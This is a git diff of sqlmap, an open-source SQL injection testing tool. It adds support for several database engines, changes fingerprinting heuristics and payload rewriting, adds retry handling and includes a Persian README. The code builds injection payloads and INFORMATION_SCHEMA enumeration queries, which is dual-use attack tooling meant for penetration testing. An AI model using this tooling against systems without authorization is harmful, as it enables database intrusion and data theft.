<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
</root>
|
||||
|
||||
@@ -1,3 +1,8 @@
|
||||
# Version 1.4 (2020-01-01)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
|
||||
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
|
||||
|
||||
# Version 1.3 (2019-01-05)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||
|
||||
84
doc/translations/README-fa-IR.md
Normal file
84
doc/translations/README-fa-IR.md
Normal file
@@ -0,0 +1,84 @@
|
||||
# sqlmap 
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
|
||||
|
||||
<div dir=rtl>
|
||||
|
||||
|
||||
|
||||
برنامه `sqlmap`، برنامهی منبع باز هست که برای تست نفوذ پذیزی دربرابر حملههای احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری میکند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی میباشد. همچنین داری طیف گستردهای از اسکریپت ها میباشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر میکند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر میکند.
|
||||
|
||||
|
||||
عکس
|
||||
----
|
||||
|
||||
|
||||
<div dir=ltr>
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
<div dir=rtl>
|
||||
|
||||
برای دیدن کردن از [مجموعهی از اسکریپتها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) میتوانید از ویکی دیدن کنید.
|
||||
|
||||
|
||||
نصب
|
||||
----
|
||||
|
||||
برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
|
||||
|
||||
|
||||
طرز استفاده
|
||||
----
|
||||
|
||||
|
||||
برای گرفتن لیست ارگومانهای اساسی میتوانید از دستور زیر استفاده کنید:
|
||||
|
||||
|
||||
|
||||
<div dir=ltr>
|
||||
|
||||
|
||||
```
|
||||
python sqlmap.py -h
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
<div dir=rtl>
|
||||
|
||||
|
||||
برای گرفتن لیست تمامی ارگومانهای میتوانید از دستور زیر استفاده کنید:
|
||||
|
||||
<div dir=ltr>
|
||||
|
||||
|
||||
```
|
||||
python sqlmap.py -hh
|
||||
```
|
||||
|
||||
|
||||
<div dir=rtl>
|
||||
|
||||
|
||||
برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) میتوانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه میشود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
|
||||
|
||||
|
||||
لینکها
|
||||
----
|
||||
|
||||
|
||||
* خانه: http://sqlmap.org
|
||||
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||
* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||
* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
|
||||
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
|
||||
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* تویتر: [@sqlmap](https://twitter.com/sqlmap)
|
||||
* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||
* عکسها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
@@ -132,13 +132,13 @@ To get a list of basic options and switches use:
|
||||
|
||||
::
|
||||
|
||||
python sqlmap.py -h
|
||||
sqlmap -h
|
||||
|
||||
To get a list of all options and switches use:
|
||||
|
||||
::
|
||||
|
||||
python sqlmap.py -hh
|
||||
sqlmap -hh
|
||||
|
||||
You can find a sample run `here <https://asciinema.org/a/46601>`__. To
|
||||
get an overview of sqlmap capabilities, list of supported features and
|
||||
|
||||
@@ -191,8 +191,27 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
length = int(self.headers.get("Content-length", 0))
|
||||
if length:
|
||||
data = self.rfile.read(length)
|
||||
data = unquote_plus(data.decode(UNICODE_ENCODING))
|
||||
data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
|
||||
self.data = data
|
||||
elif self.headers.get("Transfer-encoding") == "chunked":
|
||||
data, line = b"", b""
|
||||
count = 0
|
||||
|
||||
while True:
|
||||
line += self.rfile.read(1)
|
||||
if line.endswith(b'\n'):
|
||||
if count % 2 == 1:
|
||||
current = line.rstrip(b"\r\n")
|
||||
if not current:
|
||||
break
|
||||
else:
|
||||
data += current
|
||||
|
||||
count += 1
|
||||
line = b""
|
||||
|
||||
self.data = data.decode(UNICODE_ENCODING, "ignore")
|
||||
|
||||
self.do_REQUEST()
|
||||
|
||||
def log_message(self, format, *args):
|
||||
|
||||
@@ -54,6 +54,7 @@ from lib.core.datatype import AttribDict
|
||||
from lib.core.datatype import InjectionDict
|
||||
from lib.core.decorators import stackedmethod
|
||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||
from lib.core.dicts import HEURISTIC_NULL_EVAL
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HEURISTIC_TEST
|
||||
@@ -97,6 +98,7 @@ from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.core.settings import URI_HTTP_HEADER
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.comparison import comparison
|
||||
from lib.request.inject import checkBooleanExpression
|
||||
@@ -519,8 +521,6 @@ def checkSqlInjection(place, parameter, value):
|
||||
except (MemoryError, OverflowError):
|
||||
pass
|
||||
|
||||
kb.prevFalsePage = falsePage
|
||||
|
||||
# Perform the test's True request
|
||||
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
||||
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||
@@ -882,13 +882,14 @@ def heuristicCheckDbms(injection):
|
||||
|
||||
for dbms in getPublicTypeMembers(DBMS, True):
|
||||
randStr1, randStr2 = randomStr(), randomStr()
|
||||
|
||||
Backend.forceDbms(dbms)
|
||||
|
||||
if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
|
||||
if (randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1:
|
||||
continue
|
||||
|
||||
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
|
||||
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
||||
if dbms in HEURISTIC_NULL_EVAL and checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) or not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
||||
retVal = dbms
|
||||
break
|
||||
|
||||
|
||||
@@ -58,6 +58,7 @@ from lib.core.enums import NOTE
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.exception import SqlmapBaseException
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapNotVulnerableException
|
||||
from lib.core.exception import SqlmapSilentQuitException
|
||||
@@ -307,11 +308,20 @@ def start():
|
||||
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
|
||||
dataToStdout(warnMsg)
|
||||
|
||||
while not checkInternet():
|
||||
dataToStdout('.')
|
||||
time.sleep(5)
|
||||
valid = False
|
||||
for _ in xrange(conf.retries):
|
||||
if checkInternet():
|
||||
valid = True
|
||||
break
|
||||
else:
|
||||
dataToStdout('.')
|
||||
time.sleep(5)
|
||||
|
||||
dataToStdout("\n")
|
||||
if not valid:
|
||||
errMsg = "please check your Internet connection and rerun"
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
else:
|
||||
dataToStdout("\n")
|
||||
|
||||
conf.url = targetUrl
|
||||
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
|
||||
|
||||
@@ -11,47 +11,68 @@ from lib.core.data import kb
|
||||
from lib.core.dicts import DBMS_DICT
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import ALTIBASE_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import DERBY_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import MCKOI_ALIASES
|
||||
from lib.core.settings import MIMERSQL_ALIASES
|
||||
from lib.core.settings import MONETDB_ALIASES
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import PRESTO_ALIASES
|
||||
from lib.core.settings import SQLITE_ALIASES
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import SYBASE_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.core.settings import VERTICA_ALIASES
|
||||
from lib.utils.sqlalchemy import SQLAlchemy
|
||||
|
||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
||||
from plugins.dbms.mysql import MySQLMap
|
||||
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
||||
from plugins.dbms.oracle import OracleMap
|
||||
from plugins.dbms.oracle.connector import Connector as OracleConn
|
||||
from plugins.dbms.postgresql import PostgreSQLMap
|
||||
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
||||
from plugins.dbms.sqlite import SQLiteMap
|
||||
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
||||
from plugins.dbms.access import AccessMap
|
||||
from plugins.dbms.access.connector import Connector as AccessConn
|
||||
from plugins.dbms.firebird import FirebirdMap
|
||||
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||
from plugins.dbms.maxdb import MaxDBMap
|
||||
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
|
||||
from plugins.dbms.sybase import SybaseMap
|
||||
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
||||
from plugins.dbms.db2 import DB2Map
|
||||
from plugins.dbms.access import AccessMap
|
||||
from plugins.dbms.altibase.connector import Connector as AltibaseConn
|
||||
from plugins.dbms.altibase import AltibaseMap
|
||||
from plugins.dbms.db2.connector import Connector as DB2Conn
|
||||
from plugins.dbms.hsqldb import HSQLDBMap
|
||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||
from plugins.dbms.h2 import H2Map
|
||||
from plugins.dbms.db2 import DB2Map
|
||||
from plugins.dbms.derby.connector import Connector as DerbyConn
|
||||
from plugins.dbms.derby import DerbyMap
|
||||
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||
from plugins.dbms.firebird import FirebirdMap
|
||||
from plugins.dbms.h2.connector import Connector as H2Conn
|
||||
from plugins.dbms.informix import InformixMap
|
||||
from plugins.dbms.h2 import H2Map
|
||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||
from plugins.dbms.hsqldb import HSQLDBMap
|
||||
from plugins.dbms.informix.connector import Connector as InformixConn
|
||||
from plugins.dbms.informix import InformixMap
|
||||
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
|
||||
from plugins.dbms.maxdb import MaxDBMap
|
||||
from plugins.dbms.mckoi.connector import Connector as MckoiConn
|
||||
from plugins.dbms.mckoi import MckoiMap
|
||||
from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
|
||||
from plugins.dbms.mimersql import MimerSQLMap
|
||||
from plugins.dbms.monetdb.connector import Connector as MonetDBConn
|
||||
from plugins.dbms.monetdb import MonetDBMap
|
||||
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
||||
from plugins.dbms.mysql import MySQLMap
|
||||
from plugins.dbms.oracle.connector import Connector as OracleConn
|
||||
from plugins.dbms.oracle import OracleMap
|
||||
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
||||
from plugins.dbms.postgresql import PostgreSQLMap
|
||||
from plugins.dbms.presto.connector import Connector as PrestoConn
|
||||
from plugins.dbms.presto import PrestoMap
|
||||
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
||||
from plugins.dbms.sqlite import SQLiteMap
|
||||
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
||||
from plugins.dbms.sybase import SybaseMap
|
||||
from plugins.dbms.vertica.connector import Connector as VerticaConn
|
||||
from plugins.dbms.vertica import VerticaMap
|
||||
|
||||
def setHandler():
|
||||
"""
|
||||
@@ -73,6 +94,13 @@ def setHandler():
|
||||
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
||||
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
|
||||
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
||||
(DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
|
||||
(DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
|
||||
(DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
|
||||
(DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
|
||||
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
|
||||
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
|
||||
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
|
||||
]
|
||||
|
||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||
|
||||
@@ -13,6 +13,7 @@ from lib.core.common import filterNone
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.common import getTechnique
|
||||
from lib.core.common import getTechniqueData
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import isDBMSVersionAtLeast
|
||||
from lib.core.common import isNumber
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
@@ -34,6 +35,8 @@ from lib.core.data import queries
|
||||
from lib.core.dicts import DUMP_DATA_PREPROCESS
|
||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import FORK
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
@@ -44,6 +47,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import GENERIC_SQL_COMMENT
|
||||
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
|
||||
from lib.core.settings import INFERENCE_MARKER
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
@@ -184,8 +188,10 @@ class Agent(object):
|
||||
else:
|
||||
newValue = self.addPayloadDelimiters(newValue)
|
||||
|
||||
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
||||
retVal = paramString.replace(_, newValue)
|
||||
if newValue:
|
||||
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
||||
retVal = paramString.replace(_, newValue)
|
||||
|
||||
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||
@@ -294,8 +300,8 @@ class Agent(object):
|
||||
where = getTechniqueData().where if where is None else where
|
||||
comment = getTechniqueData().comment if comment is None else comment
|
||||
|
||||
if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
|
||||
comment = queries[DBMS.ACCESS].comment.query
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) and any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
|
||||
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||
|
||||
if comment is not None:
|
||||
expression += comment
|
||||
@@ -381,6 +387,11 @@ class Agent(object):
|
||||
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
||||
payload = payload.replace(_, randomStr())
|
||||
|
||||
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB):
|
||||
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
||||
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
|
||||
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
|
||||
|
||||
return payload
|
||||
|
||||
def getComment(self, request):
|
||||
@@ -446,7 +457,7 @@ class Agent(object):
|
||||
else:
|
||||
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
||||
nulledCastedField = rootQuery.cast.query % field
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
||||
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
|
||||
else:
|
||||
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
||||
@@ -648,7 +659,7 @@ class Agent(object):
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||
@@ -937,10 +948,28 @@ class Agent(object):
|
||||
fromFrom = limitedQuery[fromIndex + 1:]
|
||||
orderBy = None
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.DERBY,):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
|
||||
if query.startswith("SELECT ") and field is not None and field in query:
|
||||
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
||||
for part in original.split(','):
|
||||
if re.search(r"\b%s\b" % re.escape(field), part):
|
||||
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
|
||||
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
|
||||
limitedQuery = replacement
|
||||
break
|
||||
|
||||
elif Backend.isDbms(DBMS.HSQLDB):
|
||||
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
|
||||
if match:
|
||||
@@ -1036,12 +1065,15 @@ class Agent(object):
|
||||
def forgeQueryOutputLength(self, expression):
|
||||
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
|
||||
select = re.search(r"\ASELECT\s+", expression, re.I)
|
||||
selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
|
||||
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
|
||||
|
||||
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
|
||||
|
||||
if selectTopExpr or selectMinMaxExpr:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
|
||||
lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
|
||||
elif selectTopExpr or selectMinMaxExpr:
|
||||
lengthExpr = lengthQuery % ("(%s)" % expression)
|
||||
elif select:
|
||||
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
|
||||
|
||||
@@ -40,7 +40,6 @@ import unicodedata
|
||||
from difflib import SequenceMatcher
|
||||
from math import sqrt
|
||||
from optparse import OptionValueError
|
||||
from xml.dom import minidom
|
||||
from xml.sax import parse
|
||||
from xml.sax import SAXParseException
|
||||
|
||||
@@ -139,6 +138,7 @@ from lib.core.settings import IS_TTY
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
|
||||
from lib.core.settings import LOCALHOST
|
||||
from lib.core.settings import MAX_INT
|
||||
from lib.core.settings import MIN_ENCODED_LEN_CHECK
|
||||
from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
|
||||
from lib.core.settings import MIN_TIME_RESPONSES
|
||||
@@ -147,6 +147,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PARAMETER_AMP_MARKER
|
||||
from lib.core.settings import PARAMETER_SEMICOLON_MARKER
|
||||
from lib.core.settings import PARAMETER_PERCENTAGE_MARKER
|
||||
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
||||
from lib.core.settings import PARTIAL_VALUE_MARKER
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
@@ -1080,7 +1081,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if retVal is None:
|
||||
if checkBatch and conf.get("batch") or conf.get("api"):
|
||||
if checkBatch and conf.get("batch") or any(conf.get(_) for _ in ("api", "nonInteractive")):
|
||||
if isListLike(default):
|
||||
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
|
||||
elif default:
|
||||
@@ -1377,7 +1378,6 @@ def setPaths(rootPath):
|
||||
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
|
||||
paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
|
||||
paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
|
||||
paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf")
|
||||
|
||||
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
|
||||
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
|
||||
@@ -1398,7 +1398,6 @@ def setPaths(rootPath):
|
||||
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
|
||||
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
||||
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
|
||||
paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml")
|
||||
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
||||
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
||||
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
||||
@@ -1463,7 +1462,7 @@ def parseTargetDirect():
|
||||
remote = False
|
||||
|
||||
for dbms in SUPPORTED_DBMS:
|
||||
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
|
||||
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
|
||||
|
||||
if details:
|
||||
conf.dbms = details.group("dbms")
|
||||
@@ -2023,6 +2022,8 @@ def safeStringFormat(format_, params):
|
||||
if retVal.count("%s", start, end) == len(params):
|
||||
for param in params:
|
||||
index = retVal.find("%s", start)
|
||||
if isinstance(param, six.string_types):
|
||||
param = param.replace('%', PARAMETER_PERCENTAGE_MARKER)
|
||||
retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
|
||||
else:
|
||||
if any('%s' in _ for _ in conf.parameters.values()):
|
||||
@@ -2048,7 +2049,7 @@ def safeStringFormat(format_, params):
|
||||
else:
|
||||
break
|
||||
|
||||
retVal = getText(retVal)
|
||||
retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -2320,16 +2321,6 @@ def readCachedFileContent(filename, mode="rb"):
|
||||
|
||||
return kb.cache.content[filename]
|
||||
|
||||
def readXmlFile(xmlFile):
|
||||
"""
|
||||
Reads XML file content and returns its DOM representation
|
||||
"""
|
||||
|
||||
checkFile(xmlFile)
|
||||
retVal = minidom.parse(xmlFile).documentElement
|
||||
|
||||
return retVal
|
||||
|
||||
def average(values):
|
||||
"""
|
||||
Computes the arithmetic mean of a list of numbers.
|
||||
@@ -3008,9 +2999,11 @@ def isNumPosStrValue(value):
|
||||
False
|
||||
>>> isNumPosStrValue('-2')
|
||||
False
|
||||
>>> isNumPosStrValue('100000000000000000000')
|
||||
False
|
||||
"""
|
||||
|
||||
return (hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)
|
||||
